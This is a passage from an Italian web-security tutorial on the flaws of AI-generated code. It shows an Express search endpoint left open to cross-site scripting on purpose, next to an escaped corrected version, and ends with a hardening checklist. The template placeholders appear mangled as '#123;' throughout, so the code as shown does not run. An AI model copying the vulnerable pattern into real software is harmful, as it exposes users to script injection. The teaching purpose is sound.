correttamente ma contiene vulnerabilità di sicurezza. Secondo il GenAI Code Security
Report 2025 di Veracode, le statistiche sono allarmanti.
Statistiche di Sicurezza del Codice AI
86% di failure rate per Cross-Site Scripting (CWE-80) - il codice AI-generated quasi mai include sanitizzazione XSS
88% di failure rate per Log Injection (CWE-117) - i dati utente vengono loggati senza sanitizzazione
72% di failure rate per codice Java generato da AI
45% di failure rate medio su tutti i linguaggi testati
38-45% di failure rate specifico per Python, JavaScript e C#
Esempio: codice AI-generated tipicamente vulnerabile a XSS
// TIPICO OUTPUT AI: funziona ma e vulnerabile
// "Crea un endpoint che mostra i risultati di ricerca"
app.get('/search', (req, res) => {
const query = req.query.q; // Nessuna sanitizzazione!
const results = searchDatabase(query);
res.send(`
<h1>Risultati per: #123;query}</h1>
<ul>#123;results.map(r => `<li>#123;r.title}</li>`).join('')}</ul>
`);
});
// XSS: query e r.title non sono sanitizzati
// VERSIONE CORRETTA (dopo code review di sicurezza)
import { escape as escapeHtml } from 'lodash';
app.get('/search', (req, res) => {
const query = escapeHtml(String(req.query.q || ''));
const results = searchDatabase(req.query.q as string);
res.send(`
<h1>Risultati per: #123;query}</h1>
<ul>#123;results.map(r =>
`<li>#123;escapeHtml(r.title)}</li>`
).join('')}</ul>
`);
});
Regola Fondamentale per il Codice AI
Il codice AI-generated non e sicuro per default. Tratta ogni snippet generato
dall'AI come codice scritto da uno sviluppatore junior: potrebbe funzionare, ma richiede
sempre una revisione di sicurezza prima di andare in produzione. Verifica
specificamente: sanitizzazione degli input, escape degli output, gestione degli errori
(fail-closed), controlli di autorizzazione, e assenza di secret hardcoded.
Conclusioni e Prossimi Passi
La sicurezza frontend non e un optional: e una responsabilità fondamentale di ogni sviluppatore.
XSS, CSRF e la mancanza di header di sicurezza rappresentano vulnerabilità concrete che vengono
sfruttate quotidianamente. La buona notizia e che le difese esistono, sono ben documentate e
framework come Angular le implementano nativamente.
Il percorso pratico per mettere in sicurezza la tua applicazione frontend:
Giorno 1: Configura gli header di sicurezza con Helmet e verifica il punteggio su securityheaders.com
Giorno 2: Implementa una CSP in Report-Only mode e analizza i report delle violazioni
Giorno 3: Verifica tutti i punti in cui inserisci dati utente nel DOM: usa textContent o sanitizzazione
Giorno 4: Configura la protezione CSRF: SameSite cookies + XSRF token di Angular
Giorno 5: Esegui una scansione OWASP ZAP sulla tua applicazione in staging
Prossimi Articoli della Serie
Nei prossimi articoli approfondiremo altre aree critiche della sicurezza web:
Articolo 03: SQL Injection e Input Validation - Protezione del backend con query parametrizzate e validazione avanzata
Articolo 05: API Security - Rate limiting, API keys, e sicurezza delle API REST/GraphQL
La sicurezza e un processo continuo, non un traguardo. Ogni aggiornamento del framework,
ogni nuova dipendenza, ogni riga di codice (umano o AI-generated) può introdurre una
vulnerabilità. L'obiettivo non e la sicurezza perfetta, ma costruire una difesa
in profondità dove ogni livello rallenta e blocca l'attaccante, rendendo l'attacco
economicamente svantaggioso.